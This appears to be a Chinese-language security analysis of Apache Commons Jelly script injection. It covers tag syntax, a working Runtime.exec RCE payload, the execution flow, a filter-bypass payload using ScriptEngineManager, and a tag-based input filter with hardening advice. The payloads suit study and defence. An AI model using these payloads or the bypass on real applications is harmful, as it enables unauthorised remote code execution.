Apache Common Jelly浅析
字数 1981 2025-08-22 12:22:42
Apache Commons Jelly 安全分析与利用指南
1. Apache Commons Jelly 概述
Apache Commons Jelly 是一个基于 Java 的轻量级脚本引擎和模板引擎,主要用于解析和执行 XML 格式的脚本。它是 Apache Commons 项目的一部分,旨在提供一种简单的方式来在 Java 应用程序中嵌入脚本逻辑。
1.1 主要特点
- 支持 XML 格式的脚本解析
- 提供丰富的内置标签库
- 支持动态表达式和脚本嵌入
- 可与 Apache Ant 集成
2. Jelly 基本语法
2.1 常用标签
| 标签 | 描述 |
|---|---|
<j:out> |
将文本或表达式输出到标准输出或指定的输出流 |
<j:if> |
条件判断标签 |
<j:elseif>/<j:else> |
扩展条件判断 |
<j:for> |
循环标签,用于遍历数组或集合 |
<j:while> |
循环标签,在条件为 true 时反复执行 |
<j:break> |
跳出循环 |
<j:continue> |
跳过当前循环的剩余部分 |
<j:set> |
设置变量的值 |
<j:get> |
获取变量的值 |
<j:include> |
包含其他 Jelly 脚本 |
${expression} |
使用表达式动态计算值 |
<j:eval> |
评估和执行给定的表达式或代码块 |
<j:script> |
嵌入脚本代码 |
<j:invoke> |
调用方法或执行操作 |
<j:invokeStatic> |
调用静态方法 |
<j:new> |
创建新对象 |
<j:useBean> |
创建和使用 Java Bean |
2.2 表达式语法
Jelly 支持 ${expression} 形式的表达式,可以在标签属性或文本内容中使用。
3. 安全风险分析
3.1 危险标签
以下标签可能导致安全风险:
-
方法调用相关标签
<j:invoke>: 可调用任意对象的方法<j:invokeStatic>: 可调用静态方法<j:new>: 可实例化任意类
-
表达式相关标签
<j:eval>: 直接执行表达式<j:script>: 嵌入脚本代码
-
其他危险标签
<j:include>: 可能包含恶意脚本<j:parse>: 解析 XML 数据<j:transform>: 应用 XSLT 转换
3.2 RCE 示例
<j:jelly xmlns:j="jelly:core" xmlns:util="jelly:util">
<j:invokeStatic className="java.lang.Runtime" method="getRuntime" var="runtime"/>
<j:invoke on="${runtime}" method="exec">
<j:arg value="calc"/>
</j:invoke>
</j:jelly>
这个示例展示了如何通过 Jelly 执行系统命令:
- 调用
Runtime.getRuntime()静态方法获取 Runtime 实例 - 调用
exec方法执行命令
3.3 远程调用示例代码
JellyContext context = new JellyContext();
Script script = context.compileScript("http://127.0.0.1:8888/2.xml");
script.run(context, XMLOutput.createXMLOutput(System.out));
4. 漏洞利用链分析
4.1 解析流程
-
compileScript 阶段
- 通过 URL 获取输入流
- 使用 XML 解析器解析脚本
- 生成 Script 对象
-
run 阶段
- 获取并初始化标签
- 处理动态标签属性
- 执行标签逻辑
4.2 关键方法
-
expression.evaluateRecurse(context)
- 递归评估表达式
- 可能触发任意方法调用
-
tag.doTag(output)
- 执行标签的核心逻辑
- 对于危险标签,会执行反射调用等操作
4.3 InvokeStatic 标签执行流程
- 解析 className、methodName 和 var 属性
- 通过反射获取指定类的方法
- 调用 Method.invoke() 执行静态方法
- 将结果存入指定变量
5. 绕过防御的方法
5.1 表达式绕过
当直接的危险标签被过滤时,可以利用表达式执行代码:
<j:jelly xmlns:j="jelly:core">
<j:getStatic var="str" className="org.apache.commons.jelly.servlet.JellyServlet" field="REQUEST"/>
<j:arg escapeText="false">
${str.class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('java.lang.Runtime.getRuntime().exec("calc")')}
</j:arg>
</j:jelly>
5.2 利用步骤
- 使用
<j:getStatic>获取一个存在的类实例 - 通过该实例的 class 属性获取 Class 对象
- 动态加载并实例化 ScriptEngineManager
- 获取 JavaScript 引擎并执行命令
6. 防御措施
6.1 输入过滤
private static Boolean check(String uri) throws IOException, ParserConfigurationException, SAXException {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setNamespaceAware(true);
DocumentBuilder builder = dbf.newDocumentBuilder();
Document doc = builder.parse(uri);
// 检查危险标签
int tag1 = doc.getElementsByTagNameNS("*", "expr").getLength();
int tag2 = doc.getElementsByTagNameNS("*", "import").getLength();
// ... 其他标签检查
return tag1 <= 0 && tag2 <= 0 && ...;
}
6.2 安全建议
- 禁用或限制危险标签的使用
- 对输入的 Jelly 脚本进行严格校验
- 使用沙箱环境运行 Jelly 脚本
- 限制 Jelly 的类加载能力
- 禁用反射相关功能
7. 总结
Apache Commons Jelly 由于其强大的动态执行能力,在不当使用时可能带来严重的安全风险。开发者应当:
- 充分了解 Jelly 的执行机制和安全风险
- 实施严格的输入验证和过滤
- 限制 Jelly 的执行环境和权限
- 定期检查并更新到最新版本
通过合理的安全措施,可以在享受 Jelly 便利性的同时,有效降低潜在的安全风险。